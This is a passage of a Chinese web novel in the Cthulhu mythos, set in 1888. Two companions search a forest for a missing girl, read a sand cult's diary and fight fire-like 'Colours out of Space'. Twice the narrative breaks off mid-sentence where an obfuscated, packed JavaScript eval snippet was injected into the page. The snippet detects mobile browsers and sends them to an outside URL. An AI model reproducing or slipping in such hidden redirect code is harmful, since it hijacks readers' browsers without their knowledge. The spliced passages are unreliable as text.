欧德皱着眉摩挲那些混乱地刻在墙上的印记,而后终于低下头,查看脚边面朝下匍匐在地上的尸体。 “介意替我转述一下现场吗?”卡文迪许彬彬有礼地询问。 欧德瞥了眼态度回归到进地下室之前的卡文迪许,得承认现在这种双方一起揣着明白装糊涂的状态,对他们来说是最好的局面:“……这是一具成年男性的尸体,不可能是萝拉。” 他蹲下身仔细检查:“皮肤干缩得厉害……恶。它简直像具刚被从金字塔里拖出来,又拆了绷带的木乃伊。” 他嫌恶地捏着鼻子,观察了一下尸体的姿势:“面朝下趴倒在地……一只手向前伸着抠地,后背有一个很大的洞,看起来像是被猛兽咬的——” “听起来它是在被猛兽追逐的途中,不幸被猛兽追上咬死的。” “但这是一间地下室,周围都是土墙——”欧德忽地一顿,想起几分钟前的那个“梦境”,“你听说过,‘廷达罗斯猎犬’吗?” 欧德其实就是顺口一说,并不是想从卡文迪许那儿得到什么答复。但下一秒,卡文迪许却令他意外地开了口:“听过。” “这种生物能从任何小于120度的角中穿梭而出,用吸管一样的长舌头吸食猎物的□□——这不可能是廷达罗斯猎犬做的。” “廷达罗斯猎犬杀死的猎物身上只会有平滑的切口,并且在切口处覆盖有奇怪的结晶——如果尸体上的伤口长这样,你不可能形容它是‘像被猛兽咬的’,不是吗?” 卡文迪许停顿了一会,没得到回复。他微微偏头:“欧德?” 欧德敷衍地哼哼了一声,轻手轻脚地翻起尸体,在腹部下方找到了一本压着的笔记本。 他并没有逗留,直接站起身将笔记本揣进怀里,伸手去拉卡文迪许:“没有萝拉的踪迹,这里没什么好停留的了。去密林吧——” “为什么?”卡文迪许这次却没有那么配合。 他纹丝不动地坐在原处,欧德使劲提了一下,感觉这玩意儿沉得像个秤砣:“为什么去密林?” “你认为萝拉可能是在偷偷看书的时候,恰好撞上这头袭击人的怪物,被这头怪物带去密林了?” “但——如果萝拉是被怪物抓走的,她怎么可能在被抓的时候就知道自己要被带去哪儿?难道怪物会一边抓人,一边喊‘我要把你带去密林’吗?” 欧德又拽了卡文迪许几下无果,只能深呼吸了一口气,耐着性子对着这株在地上扎根的怪豌豆快速说:“不,我只是假设这个会吃人的怪物,就是侍应说的在密林里吃人的怪物。——满意了?” 怪豌豆扬了下眉,扎在地里的根终于松了。欧德催促地推着人出了地下室,一边大步往图书馆外赶,一边问:“对了——你介意一会儿出钱租辆马车吗?我不可想傻了吧唧地跑进密林,累个半死再跟怪物对上。” · 欧德得承认,虽然卡文迪许有诸多缺点,有的甚至能够致命,但有一点好——他似乎并不吝啬。 坐在卡文迪许来捕梦小镇时自带的豪华马车里,欧德紧皱着眉头,再度用放在1980年,能以一瓶20万英镑的拍卖价成交的马索涅干邑,浇了遍同样薅自卡文迪许马车的银餐刀,随后将刀对准自己的手指:“……嘶。” “……”坐在马车另一端的卡文迪许闻声抬头,他的膝盖上搭着一本不知道从哪来的《小王子》——要知道这本书可是1942年才出版的,“你很怕痛?” “废话。”欧德在心里祈祷这次割出的伤口不要再那么快愈合了,抱起霰.弹枪,按照梦中的记忆绘制炼金术阵,“我又不是什么嗜痛成瘾的疯子——嘶,嘶。” 卡文迪许又露出了那种很感兴趣的表情:“但你还是走在自找罪受的路上——如果我们和那个怪物碰上面,你会受的伤就未必只是被刀子割一道了。” “那是另一回事,”欧德不耐的样子就好像自己在画的不是可能抽取性命的炼金术阵,而是很寻常的涂鸦,“看你的书行不行?你没有自己的事要做吗?” 早晨拖卡文迪许出门时,卡文迪许没说出口的话,倒是被欧德先说出来了。 马车里安静了两分钟。 隔了一会,摩挲着书上盲文的卡文迪许又道:“我还是不明白最后两章有什么值得哭的。” “无非是小王子决定回星球找自己的玫瑰花,于是决定让毒蛇咬死自己,让自己的灵魂回到玫瑰身边——” “他成功了。被困在沙漠里、陪伴小王子的那个飞行员也得救了。这不是一个好结局吗?” “……”欧德停下绘制,感觉自己现在一听卡文迪许的声音就冒火。他整理了三秒情绪,才抬头看向卡文迪许,露出礼貌的假笑,“别看了吧,先生。你不适合这本书。放过你自己,也放过它。” “喏,”他将怀里的笔记本摸出来,丢向卡文迪许,“念念这个,我猜你应该能摸出笔记本上的字迹?这个适合你,用不着情商。” “……”卡文迪许的神情明显不是高兴的意思,但他仍然翻开了笔记,只是将《小王子》收了起来,显然不打算接受欧德的建议,打算回头继续和《小王子》死磕,“这是一本……私人日记。主人是一位沙尘之子。” “一个什么?”自从在银行被抓后,欧德就感觉自己像个刚上小学的稚童,哪儿哪儿都是没见识过的新东西。 “沙尘之子,一个古老的教团。”卡文迪许用指腹摩挲着纸面道,“他们信奉一个叫做‘夸切·乌陶斯’[注]的……” 卡文迪许停顿良久,似乎在寻找一个合适的词藻:“存在。” “邪神。”欧德迅速找准了这个夸切·乌陶斯的定位,“接着念?地下室里那具尸体是这本日记的主人吗?沙尘之子出现在这里做什么?” 卡文迪许安静地阅读了一会后道:“是的。地下室里的就是一名沙尘之子。至于后一个问题——日记中说,他是和教团其他兄弟姐妹一起来的,因为受到了‘神明’的召唤。” “……”刚好画完最后一笔的欧德单手抱住枪,震撼地盯着卡文迪许看了几秒,起身坐到卡文迪许的旁边,探头去看日记,“什么??所以捕梦小镇里除了可能有个深潜者据点,还藏着一个沙尘之子邪.教教团?” “什么叫‘受到了神明的召唤’?夸切·乌陶斯召唤他们来这小镇做什么?” 卡文迪许的膝盖上,日记本摊开的那一页正写着一篇神神叨叨的赞美词: 【来自暗黑边土的神明啊,赞美您。 您能给予信徒永恒,给予我们索求知识的无限时间。 您将同时赐予我们衰老与病痛,但吾等深知,那就是获得永生必将承受的代价。 您是慷慨的神,是残忍的神,是仁慈的神。 兄弟姐妹们,当你们终有一日,承受不起与永生伴生的病痛与老朽时,颂念神的名吧!祂将接走我们的灵魂,让无用的身躯化成一堆齑粉。】 “……”欧德硬是压下自己21年来建起的科学观念,艰难地消化了一下这段话,“所以……翻译成人话就是,夸切乌陶斯能让人永生,但是伴随着得一直忍受病痛和老朽的代价。如果有人受不了了,夸切乌陶斯就会把这个‘受庇佑’的‘幸运儿’宰了,只留下一小撮尸灰?” 卡文迪许的唇角极轻且快地掠过一丝笑意,似乎因欧德这种没有丝毫敬畏心的总结感到愉悦:“它的能力其实是对死亡——或者说,是对局部、有限的时间的掌控。” “如果你家里有一本名叫《卡纳玛戈斯遗嘱》[注]的书,不要轻易打开它。仅仅是阅读,也可能召唤夸切·乌陶斯。” “它会让房间里的人都迅速老朽,只剩下一摊沙子。” “如果你和祂缔结契约,它就会给予你永恒,让你不会因任何原因死亡、受伤,甚至是中毒、发疯——你可以理解为它暂停了你身上的时间。” “但作为代价,你的脊椎会被当场扭曲……想想吧,那痛苦将是永恒的,直到你承受不下去,请求夸切·乌陶斯将你变成一把不会再感到痛苦的沙尘为止。” “……”欧德的瞳孔微微缩了一下,下意识地想伸手摸向还在钝痛的腰脊,但在手臂动起来前,他克制住了这份冲动。 不一定的。 扭曲脊椎得有多痛?他的腰最多就是被什么东西撞得腰间盘突出,哪至于扭曲…… 而且,他也没有被暂停时间吧?之前那个深潜者还不是把他打得跟个烂抹布似的。 欧德暗暗记下了这条讯息,掀开车帘看了眼外面:“——让马车停一下,我有个东西要取。” 3分钟后,没有车夫的马车重新从萝拉家的农场前出发,车厢内,卡文迪许沉默地和一条快乐甩着尾巴的边牧对视。 边牧:“呼哧呼哧。” 卡文迪许:“……” 卡文迪许不着痕迹地伸手,将自己的衣摆往远离狗毛的地方掖了掖,显得对狗这一物种毫无好感:“我能问问,为什么车上会多出一位乘客吗?” 还在翻阅日记本,试图弄明白夸切·乌陶斯为何召唤信徒来捕梦小镇的欧德:“没它怎么找萝拉?” 他拈着纸页,感到费解:“没有……完全没解释夸切·乌陶斯为什么召唤他们,反正夸切一召唤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540175|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们屁颠屁颠就来了。” 他叹了口气,丢开日记看向车帘外,入眼是大片的原野,他们已经离开市镇,快到密林边了。 欧德抬手放下撩起的车帘,华布正要遮住视线,眼角的余光忽然在稻田间捕捉到一道深蓝色的身影。 他猛地把车帘重新掀回去,就见那身影正是一名身着深蓝色廉价西装、正举着相机拍摄的肥皂公司员工,只不过不是他在悬崖边见到的那个:“——看那边!又是一个……怎么到处都能看见他们在拍照?” “你旅游不拍照?”卡文迪许反问得很有道理。 欧德也反问:“你旅游拍照,会心虚到宁可顶着子弹也要逃跑?我有点怀疑这个什么肥皂公司是不是也是什么教团了……这帮人会不会在监视捕梦小镇?” 如果不是急着进密林找萝拉,欧德这会儿高低要跳下车,拿枪抵着可疑员工的脑袋,逼对方交出照片。 卡文迪许没答话。 他还在和狗狗对峙:“进了密林,它就没用了。” “什么?” “我说,靠近密林,它就会——” “呜……汪!”一直乖乖趴坐的边牧猛然站起,正对着密林的方向毛发尽竖。原本可爱的嘴筒子像发起攻击前的凶兽一样皱缩,露出尖锐的利齿和血红的牙龈,“汪汪!嗷……汪!” “?!”欧德什么细节都盘过了,就是没想到这点,他眼疾手快地在边牧往车下蹿时一把拽住缰绳,“坐下!布鲁托,坐下!” “呜……汪!汪汪!!”边牧浑身发抖,像疯了一样拼命挣扎,带得本来就没几两力气的政治系优秀毕业生差点被拖下马车。 向前趔趄时,欧德匆匆抬手撑住车厢厢壁,急中生智地将狗缰绳往端坐在他身边的卡文迪许手臂上一绕:“坐下!布鲁托!” 又一次被当成工具的卡文迪许缓缓转头:“……?” 他抬手捉住系在自己手腕上的缰绳,手指轻轻一勾,竟是将系扣解开了,缰绳瞬间顺着西装布料滑了出去,获得自由的边牧顿时撒开腿,头也不回地向密林的反方向奔去。 “你——”欧德的牙关咬紧。 卡文迪许平静道:“一条没进林子就怕成这样的狗,你还指望它能在进林子后保持乖巧,精确地找到主人吗?” 欧德怎么会想不明白这件事,可失去布鲁托,想在密林中寻找萝拉跟大海捞针有什么区别,而且:“这真不是你不喜欢狗,所以故意动的手脚吗?” 卡文迪许:“你对我是不是太不信——” “轰——轰隆隆……” 密林中,远远地传来巨大的树木折断声,仿佛有某种坚固的、坦克似的东西正以飞一般的速度,向更远的方向飞驰。 欧德下意识地抬头望向轰鸣声传来的方向,尚未来得及看清什么,原本他打算拿做例子来反驳卡文迪许的马匹就忽地一扬前蹄,在饱含恐惧的嘶鸣声中猛然折身,冲向右方。 ‘——马受惊了!’ 这个念头才在欧德的脑海中浮出,他们所在的车厢就被马匹带着一个侧甩,车厢侧面正撞上密林外围格外粗壮的树干。 欧德在好看但不中用的车厢被撞碎前一把抓住卡文迪许的衣领,右手攀上另一边车门,刚强行锤开门锁,想带着卡文迪许一起跳出去,马匹又是猛地一改向。 “哐——” 车厢反向一甩,欧德和卡文迪许一起从打开的车门里飞出去。 欧德在这不到半秒的时间里瞥了眼满地厚实的青苔和红蘑菇,正想着就算摔也摔不了多痛,被他揪着衣领的人就已经相当不符合牛顿定律地稳稳站定,连带着他也跟公交车上拽住了吊环的乘客一样,踉跄着在草地上站稳脚跟。 “……”卡文迪许的神情相当微妙,欲言又止片刻,“能松开我的衣领了吗?” 欧德尝试站在卡文迪许的立场上复盘了一下刚刚这几秒的经历,完全能想象到对方先是被拎住衣领勒住脖子,后是被拽住衣领勒住脖子的感受,这体验估计跟布鲁托刚刚被他扥住狗绳也没什么差别了:“……不好意思。” 他顶着一张云淡风轻的脸松开手,给卡文迪许整了整被扯皱的衣领,又轻描淡写地拍了拍:“行了。不细看看不出褶子。” 卡文迪许:“…………” 欧德敢打赌,如果不是真的没法定位自己,卡文迪许早一个狗绳反勒过来了——也可能是其他更加残忍的手段。 他若无其事地背着手在卡文迪许周围绕了一圈:“走吧,狗和马都没了,我们得靠自——” 他的话在绕到卡文迪许背后,看清某棵树树根匍匐处的东西时戛然而止。 “?”卡文迪许对欧德的一切小动静都极为敏感,“怎么?” “我看见……又一个肥皂公司员工。”欧德的声音有点干涩,“他……死了。” “被烧死的。死状就和……” 就和浮士德给他看的受害者照片一模一样。 “吱呀……” 周围的树木忽地发出低但清晰的声响,像一具具藏着灵魂的傀儡一样,齐齐向着北方弯倒数度。 11. 第 11 章 密林彻底暗下来了。过度茂盛的树冠遮住所有光。 “……”欧德在原地僵了一秒,默默向后退了一步,后背撞上卡文迪许。 “?”卡文迪许微微转身,看向身后,“你在害怕?” “这么说吧,我……不那么欣赏鬼片这种题材。”欧德拐弯抹角地说着,左手向后摸索了一下,紧紧箍住卡文迪许的手臂,拽住人重新向树根下的焦尸靠近。 卡文迪许表现得相当配合,大概是觉得颇为有趣:“你怕痛,怕鬼……好像并不像我一开始以为的无所畏惧。你很奇怪,怕痛但仍然主动进入危机重重的密林,怕鬼但一点没打算打道回府,你的行动好像总与生命的本能背道而驰。” “你非得在这种环境下跟我聊哲学吗?”欧德蹲在焦尸边,声音都不自觉地压低了,嗓子发紧,“看这儿……这个人都被烧成这样了,但他的相机还是完好无损。” 欧德小心地抬手绕过焦尸高举的手臂,捏住挂在死者脖颈上的照相机包,将它摘下—— “呼啦……” 猝不及防间,焦尸就像脆弱松散的灰堆一样,因欧德施加的这点外力彻底崩塌飞散了。 “……”捏着相机包的欧德顿卡了一秒,一时都不知道自己是不是该说声抱歉。但正事当前,他很快重新活动起来,迅速翻开包囊:“怪了。这具尸体脆弱成这样,相机是怎么挂到他脖子上的?” 总不可能在火烧起来的时候,死者就挂着相机吧?那这相机怎么一点焦痕都没有,难道……这火只对活物生效,不伤害死物? 包囊里除了相机,还塞着一沓照片。 欧德拿出来逐一查看,第一张就让他愣了一下:“……见鬼。他好像拍下了侍应说的那个倒霉蛋被怪物袭击的样子!” 画片中,一个瘦高个正形容狼狈地逃向密林,看打扮风格,和旅馆那群学者十分相似。 欧德眯起眼睛,试图在照片中找到怪物的踪迹,然而连根毛也没瞧见。 第二张,拍摄的是一个穿着黑裘、手上戴满宝石戒指的宽额头男人。一看这服装打扮和明显的外貌特征,欧德就敢断言这一定是之前旅馆里那位黑裘女士的丈夫。 “你在想什么?”卡文迪许讲究地理着之前被欧德抓皱的领口,拒绝和欧德一起没有形象地蹲着,哪怕他们正身处于没人的森林。 欧德无声翻了个白眼,心里腹诽着装腔作势:“我在想为什么这个怪物没有掉过头来吃摄影师?” 他快速翻了一下剩余的照片,都是没有意义的风景,于是从灰堆边站起身:“这些照片很清晰,说明拍摄时摄影师没有移动,就杵在原地。画面底部没有稻穗杂草,说明他不是藏在稻草间拍的,就是站在没有遮挡的地方拍的。而且,看画面,他应该离追逐战很近……一个唾手可得的猎物就杵在手边上,怪物为什么还是追逐更难得到的猎物?” “你觉得为什么?”卡文迪许饶有兴致。 “……”考虑到卡文迪许是目前嫌疑最大的幕后黑手,欧德总觉得对方的提问就像“我完成了一份杰作,让我看看你有没有完全理解”。 他有很多优点,但其中并不包括让敌人心满意足:“我觉得这些照片应该和寻找萝拉没有任何关系。一个天天杵在这儿拍照的人怎么可能从学校掳走萝拉?所以——” 欧德状似诚恳地拍拍卡文迪许的肩膀,在上等的毛呢布料上蹭掉手上的尸灰:“走吧。去之前听见树折断声的方向,怪物应该就在那里——这些相片只是路途中偶遇的岔路,不重要。” 他抓着卡文迪许的手腕转身,大步向密林深处走去—— 他没走动。 感觉自己扥着个秤砣的欧德:“……” ……又怎么了呢,我金贵的豌豆王子。 卡文迪许磐石一样定在原处:“我想知道你的想法。” “……我还想马上找到萝拉呢!”欧德猛地回头瞪卡文迪许,在对方你不配合我就不合作的表情下不得不平复了一下呼吸,磨着牙微笑,“我觉得,要么那个野兽就是肥皂公司放出来的实验体,要么是摄影师有躲避野兽感知的手段。现在,我们能走了吗?” 卡文迪许一动不动:“我不相信这是你的全部想法。” “你是不是有毛——”欧德开始觉得揣着明白装糊涂也不是什么好相处方式了,如果不是他没有必胜的把握,萝拉又在等着人救,他真想先跟卡文迪许分出个你死我活,“……行。我的确还有另一个想法——我认为也许是因为被追逐的猎物身上有某种特质,让野兽更倾向于猎捕他们,而不是杵在旁边不动的摄影师。” 他顿了一下,恼火地问:“现在能走了吗?” 卡文迪许施施然迈动脚步:“我真诚地希望下一次我有类似的疑问,欧德先生能慷慨地回复我。您知道我目不能视,所以冷暴力会让我非常不安。” “……”欧德倒吸了一口气,慢慢闭上眼睛。上帝知道他有多想拿□□抽一棍子这玩意儿。 他实在没忍住:“也许在卡文迪许先生眼中,我还是太完美了。冷暴力会让您不安,但□□子弹不会让我不安。” 卡文迪许又倏地停了下来,语气诚恳:“请叫我卡文迪许就好。我不希望我们之间还要用‘先生’这样生疏的称呼。” “…………”欧德简直头晕目眩,怄到浑身像有蚂蚁在爬,“算我求你行吗,少说话。我不觉得这样一段对话应该发生在1888年的两个英国成年男性之间。” 卡文迪许:“为——” “咚!” 欧德用手臂抵着卡文迪许的咽喉,一下将人抵撞在近旁的巨树上。 “我发誓……”他咬牙切齿地压着声音,“你要是再这么找茬,我现在就松手。我不在乎你找上我是为了什么。杀我?还是有什么其他的目的。但我可以向你保证,在我松开手后,你不会再有第二次机会找到我。” 卡文迪许闭上嘴:“……” 欧德:“我说清楚了?” 卡文迪许沉吟了一下,点点头。 “很好。”欧德退后一步,松开手臂,语气恢复冷静,“现在,如果我们达成了各退一步的协议,抬起你的右手。” “为什么我觉得这动作像驯——”卡文迪许险险想起自己刚惹恼了欧德,及时刹车,将后半个犬字咽了回去。他又一次思索了一下,配合地抬起右臂。 “做得不错。”欧德重新抓住卡文迪许的手臂,领着人大步往之前传来树木折断声的方向走,“只要你别再故意拖后腿,我可以回答——” “轰……” 树木倾折的声音在不远方响起。 “在北方!”欧德立即敏锐地抬头,拽着卡文迪许在树根盘综错节的林中跑起来,“听起来力道没之前那次大,树没撞断几——!” 大概是一天下来运动量超了负荷,欧德双腿有些使不上劲。走得飞快没让某个“目不能视”的残疾人摔跤,他自己倒是一脚踢在树根上,往前一栽。 欧德反应迅速地收紧抓着卡文迪许手腕的左手,愣是把自己又扥站直了,一路拖着又一次被当成吊环、有些无言以对的卡文迪许赶到声源处,一个蹲滑躲到某处粗壮严密的树根后,微微探头向外看。 “……” 卡文迪许安静了几秒,小声问:“只要我别再故意拖后腿,你可以回答什么?” “别说话!”欧德同样小声呵斥,“现在是掰扯这个的时候吗?” 他将霰.弹枪从背后摘下,上膛时忽然产生一种本能的危机感,转头就见卡文迪许的身体冉冉在树根后站起:“——!你做什……蹲回来!——好吧,好吧!只要你别再故意拖后腿,我可以回答你的十万个为什么!” 卡文迪许于是又施施然降回去了,在欧德刀子似的瞪视中微微侧脸:“听起来我们找到的不是怪物,是打过照面的老熟人。” 林地中央,原本不正常密布的巨树折倒了五六棵,地面似乎刚被什么强腐蚀性的东西灌溉过,委顿下去一个将近2米深,10米直径的坑。 “嘶……”有沙子在坑底像烟雾一样慢慢萦绕,毒蛇般温顺又阴湿地缠绕在之前在旅馆碰过面的学者们足踝边,他们正缓缓放下双手,动作规整而沉默。 “咳……!”坑底,满身尘土,面上带血的黑裘女士呕出一口鲜血,单手撑地跌撞着站起,“你们怎么敢……我宽恕了你们的性命!” “像疯狗一样不依不饶,特地追到密林里来攻击的人,是我们吗?” 带头的灰发学者冷声道。 他垂在身侧的左手手背上刻着一道复杂的血痕,鲜血正顺着瘦长的手指一滴滴砸落坠地。但他好像丝毫不觉痛楚,也不担心失血过多。 “那是不是……沙尘之子教会的标识?”欧德有些吃惊,“这帮学者,就是被夸切·乌陶斯召唤来的沙尘之子?这倒是能解释他们怎么一点也不怕密林的异变了……” 根据之前在地下室找到的那本日记,完全可以推论出沙尘之子是一群研究神秘学知识,并且会利用神秘学知识为自己谋取力量和永生的魔法师,有在密林中自保的能力很正常。 唯一奇怪的是:“他们为什么一天到晚在密林里泡着?他们想在这儿完成夸切·乌陶斯交给他们的什么工作?” 更让欧德犹豫的是,他要插手吗? “这已经不是你们第一次阻挠我们的任务了,卑劣的混血。我们不会一直那么仁慈。”灰发学者的语气带着不耐,“我已经澄清了无数次,你丈夫的死与我们无关——” “我不相信你。”黑裘女士咧开了嘴,她的牙齿居然是尖的,食人鱼一样交错参差,血液和唾液一道顺着牙缝间流下嘴角,“我只相信我自己的推测……而且,即便我猜错了又如何?就拿你们的血为我的丈夫做祭奠吧……必须有人为此而死!!” 高大的女人仰头发出一声不似人类的尖嚎,下一瞬单凭强悍的□□力量,反扑向对面的人群,咆哮声如雷:“你们……都要死!!” “Yar……ahor ah''ehye fahf ehye!” 所有的沙尘之子齐齐抬手,以一种古怪的韵律呼喝出相同的音节。 盘亘在他们足踝边的沙尘倏然如眼镜蛇般挺身,激射向扑来的敌人,两条沙蛇被黑裘女士硬生生扯断,剩余的沙尘极为灵活地缠绕住黑裘女士的双腿和左臂,将她狠狠向下一甩。 “嘭……” 尘土扬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540176|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,欧德甚至感觉自己身下的地面都震了一下。 他吞咽了下口水,反倒将才卸下来的枪抱回怀里,推了推旁边的卡文迪许催促:“快走。” “?”卡文迪许显得十分意外,“我以为你会插手。” “什么?为什么?”欧德真不知道自己在卡文迪许心目中是个什么形象,“我是什么很喜欢管闲事的人吗?” “我以为你会认为放任他们自相残杀是一件……违背人性的事。”卡文迪许一边顺着欧德的力气向后撤,一边字斟句酌地说。 “我这人道德有限,好吗?”欧德将身子压得更低了点,以免被后面混战的双方看到,“邪.教、杀人犯,都不在我的共情名单里。绕开他们,他们的争执和萝拉无关,我们接着找怪——” “咚——” 土坑中,一名沙尘之子被发狂的黑裘女士反手拽住,像投铅饼那样狠狠甩出。他瘦削的身躯顺着惯性硬是撞断了两三棵树,滚落在地时呕出一口黑血,撑着地抬起头时,刚好和还蹲着的欧德对上视线:“……” 欧德:“…………” 好硬实的身板!欧德当机立断,一枪杆挥上此人的额头,一把拽住卡文迪许半站起身奔跑。 “呃……”那名沙尘之子额头都被打塌了一小块,居然还能呻吟着捂住头,翻滚着一把抓住欧德的足踝,“这里有——” 他没能说完。 接下来的一切异变,都只发生在一瞬间。 先是卡文迪许在这样紧要的关头忽地抬头,望向林子北边:“有东西来了。” 而后是欧德感受到一阵热风扑面。 “呼啦……” 火焰。 似乎散发着斑斓的光泽,又好像具有的并不是颜色的火焰,在短短半秒内,从密林的北端吞没向南端,眨眼将欧德等人所在的地区淹没在色泽奇异的火海中。 所有的声音都消失了,包括沙尘之子的叫喊。 欧德依稀只来得及分辨远方黑裘女士尖声大叫着什么“星之彩[注]!!怎么会有这么多星之彩?!”,那尖锐的叫声就淹没于寂静。 温度变得难以捉摸,滚烫和冰冷同时烙在皮肤上。 欧德感到力气在从身体中迅速流逝。 他看见攥住他足踝的沙尘之子在火焰中发出痛苦的嚎叫,直到他的五官扭曲,皮肉干瘪萎缩,在一眨眼间变成一具和密林边的摄影师、和浮士德给欧德看的受害者照片一模一样的焦枯尸体。 ——是它! 欧德本能地意识到,造成6月2日小镇覆灭的火焰就是他眼前这片被黑裘女士称为“星之彩”的东西。但——为什么来的这么早? 还有——卡文迪许呢? 这什么“星之彩”是他弄的吗? 火焰中,有什么无形的东西攀缠上他的小腿,一路蜿蜒向上,紧跟着强行将他托飞而起,迅速带向密布的巨树歪倒所指的方向。 “等……唔!”欧德挣扎着,嘴刚张开,那灼烫的无形之物就迫不及待地挤进他的口中,迫使他仰起头。咽喉被挤压的作呕感令他难受地闭了下眼,眼角泛出生理性的泪水。 但与此同时,他脱力地垂在身侧的手却痉挛了一下。 手指抽搐着勾起,直到某一刻,他的指尖触上冷硬的扳机。 “——乒!” 烫在枪膛上的炼金术阵,自扳机到枪口,迅速亮了一遍。 生命被凝取成子弹,在枪响中脱膛而出,像狂风驱散浓雾般在火海中撕开一条甬道。 紧缚着欧德的东西像被惊吓到了,当即就要抽身退开,但欧德却趁着力气回流,猛地一把攥住那团烫如炙铁的星之彩,无视皮肉的滋滋作响:“跑什么?” “不烧死我,又拼命往我嘴里挤……这不是很喜欢我吗?” 他的声音有点含糊,挤进他口中的那截无形之物被他硬生生咬断了。 他的感性在疯狂尖叫着恶心、决不能吃它、万一畸变怎么办,理性却冷静地问: 你的力气被抽走了。不吃掉它,你想死在这里吗? 别忘了萝拉。 别忘了该被狗.日的命运。 别忘了祖父的遗体,还在太平间的石格中腐烂,等待你接回墓地。 “……”欧德不禁哂笑了一声。心想死得畸形一点就畸形一点了,该办的事他总得办完。 他缓缓咀嚼起嘴里那团无形之物——其实一点不难,甚至享受极了。 他感到自己的味蕾正像干枯的草叶初逢甘霖般跃动,饱足的、令人战栗的欢愉从他被填满的胃部炸开,顺着血液奔流向四肢百骸,力量从被滋润的每一个细胞中涌出来。 等到咀嚼停止,他环视了一圈周围似乎在猛烈燃烧,又像在簌簌抖动的火海,多了几分血色的唇角勾起似有似无的弧度:“你们在怕啊。” “怕什么?怕我也是怪物?” “我也挺怕的。” “来吧,来说说,我的这副皮囊有多吸引你们?” 欧德绿色的眸子在火光中呈现出醉人的蜜金绿色,眸光从机械瞄具后流转出来,他架着枪膛上的金纹彻底亮起的霰.弹枪: “够不够让你们为它去死啊。” 12.第 12 章 “乓!” 第二颗子弹脱膛而出,一路撕破火海,生生在铺天盖地的火焰中破开一条横贯南北的甬道。 火浪骤然翻起,烧灼的温度终于真正舔上了欧德的皮肤。 “嘶……” 欧德不知道正常人在身上着火的时候会有什么反应,惨叫?滚地扑打?都是出于最基础的自救本能。而他的自救本能在火舌令皮肉枯黑干瘪时尖叫的是: 吃了它们……吃光它们!!去他的怪物……去他的新世界,原本的旧世界难道还不够操.蛋吗?! 皮肉嘶嘶作响,欧德从胸膛深处发出一声低低的怒吼,一发接着一发的子弹毫无停歇、疾风骤雨般倾泻向面前的火海,眨眼间撕开了将近三分之一的空缺。 “——”星之彩们在接连不断的攻击中被彻底激怒了,火浪呼啸着凝聚成更加暴虐锋锐的飓风,狠狠卷席向被丢回地面的欧德。 然而欧德只是利索地将枪座抵上胸口,单手持着枪,好像这样的烧灼无法让他感到疼痛似的,另一手毫不犹豫地伸出去捕捉任何他能抓住的敌人,看也不看地塞进口中。 皮肉嘶嘶作响,上一秒还在迅速干瘪变灰,下一秒又春芽般滋长出新肉。 欧德绿色的眼睛像残虐饥饿的野兽,一眨不眨地注视着猎物,没分出任何心神去想为什么他能这么耐痛、持枪的技巧又是从哪来的,只管将子弹无止歇地灌出去,不管这些子弹耗得是不是他的生命——反正如果他无法消灭星之彩,照样得死在这里。 乓乓的枪响声在森林中连贯成线。直至某一刻,星之彩的怒火终于被畏惧所覆盖,原本汇在一处的火飓风倏地分散开来,各自向四面八方分散。 ——不。 不能让这些东西逃出密林。 有多少人会因此而死?他得——他必须,把这些东西全部剿灭在这里。 星之彩的能量滋润着胃部,修复着每一寸神经和皮肤,欧德的眼睛游弋着萤火似的微光。 他直接不留退路地一把丢开手中的□□:“就走了?真舍得吗?”他的声音放得又轻又诱惑,“要不你再看我一眼……来吧,就一眼,看看我……” 但愿浮士德说的那句“对于实力越强的存在影响越大”是正确的。欧德在心里想。不然他也没别的办法把这些往四面八方蹿的星之彩逮回来了。 这辈子色诱最多做到装可怜地眨巴眼睛就歇菜的欧德,眼睛眨也不眨地看着不受控制地静止下来的星之彩,停顿几秒后,故意抬起争斗中被树枝划伤的手腕,带着几分挑衅紧盯着远方的色彩慢慢低下头,轻轻分开浅色的唇瓣探出舌尖,柔软的舌条不紧不慢地掠过逐渐恢复光洁的手臂,一路向上,直至将缀在隆起的腕骨处的那颗血珠轻轻卷走。 跃动的火焰在某一刻静止了,有那么几股星之彩甚至情不自禁地向之前它们还想逃离的方向滚近了些许。 欧德轻轻呼出一口气,让身躯放松下来。他微闭了一下眼,再睁开时,眸光从半遮半掩的深红色睫毛下懒散地晲出去。 他用湿漉的舌尖顺次舔过指尖上的硝烟,随后无声勾唇,对着虹彩的方向做了个口型: ‘来呀。’ 寂静的三秒过后。 火光应邀而至。 * 十五分钟后。 欧德靠坐在一根仅余树根的橡树边,半屈着一条腿平复呼吸。 老板娘好心送他的衣服就剩几条布还倔强地挂着,除了碍事,估计也就只能起到时尚的作用。 他的嘴唇还是肿胀的,唇角有些开裂的血口,但是几个呼吸间,这些残余的不体面就随着星之彩在胃袋中渐渐消化而消隐无踪。 ‘比之前吃完深潜者后愈合得更快了。’ 欧德的脸上没有任何惊喜,疑虑沉积在他深绿色的眸底。如果不是理智仍存,他简直想把之前被撕裂至耳根的嘴角再撕开一次,好催眠自己: 看,伤口没有自行愈合。我还是个正常人类。 他面无表情地靠着树根,左腿正嘎吱作响。这条肢干正以一种诡异的方式扭动着,从拧曲得像一根丑陋的麻花,逐渐掰正回修长笔直。 痛。很痛。痛得欧德巴不得现在就死。 但更让他感到焦灼的,还是那些徘徊在脑海中的问题: 